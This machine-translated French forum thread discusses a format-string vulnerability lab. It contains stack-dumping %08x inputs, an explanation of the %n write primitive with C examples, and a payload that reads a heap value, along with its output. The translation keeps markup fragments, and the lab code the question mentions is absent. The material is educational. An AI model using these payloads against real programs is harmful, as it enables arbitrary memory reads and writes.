9
votes

Accès au 2e élément d'un tableau dans une attaque de vulnérabilité de chaîne de format

Je travaille sur un laboratoire de vulnérabilité au format-String, où nous avons reçu le code suivant:

The variable secret's address is 0xbfffe7cc (on stack)
The variable secret's value is -x0804a008 (on heap)
secret[0]'s address is 0x0804a008 (on heap)
secret[1]'s address is 0x0804a00c (on heap)
Please enter a decimal integer
65535
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025


0 commentaires

3 Réponses :


3
votes

L'astuce consiste à utiliser le spécificateur % n code> dans la chaîne de format spécifiée par l'utilisateur. % n code> dit de prendre le nombre d'octets écrits jusqu'à présent et les stocker à l'adresse pointée par l'argument suivant em>. Lorsque vous ne fournissez pas suffisamment d'arguments sur PrintF code>, l'adresse qu'elle écrit est quelle que soit la valeur suivante sur la pile. Si vous pouvez exploiter cette adresse pour être ce que vous voulez, vous pouvez essentiellement écrire un entier de 4 octets n'importe où dans la mémoire.

// Normal usage: count receives the value 14, since 14 bytes were written when
// the %n was encountered
int count;
printf("Hello, world!\n%n", &count);

// UNDEFINED BEHAVIOR: The value 14 will get written to some unknown location in
// memory 
printf("Hello, world!\n%n");


1 commentaires

C'est correct, mais vous étiez un peu en avance sur moi: je suis en train de jouer en essayant de trouver simplement les valeurs qui n'étaient pas sur la pile. Une fois que les valeurs sont disponibles, elles ne sont pas trop difficiles à modifier. Je me manque la réponse douloureusement évidente, ce qui est peut-être pourquoi vous avez expliqué la partie la plus compliquée (ou au moins plus intéressante).



4
votes

Pour accéder au secret [1], vous devez entrer l'adresse informatique comme entrée entière.

Please enter a decimal integer
73740
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%s
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U


1 commentaires

Yup, c'est ce que j'avais manqué. Je me sentais comme un idiot total après avoir trouvé cela. Merci!



1
votes

Vous pouvez réellement spécifier le décalage directement dans la chaîne de format.

EG. P>

$ printf "ADDRESS_IN_DECIMAL\n%%ADDRESS_OFFSET\$p_%%ADDRESS_OFFSET\$s\n" | ./vul_prog


0 commentaires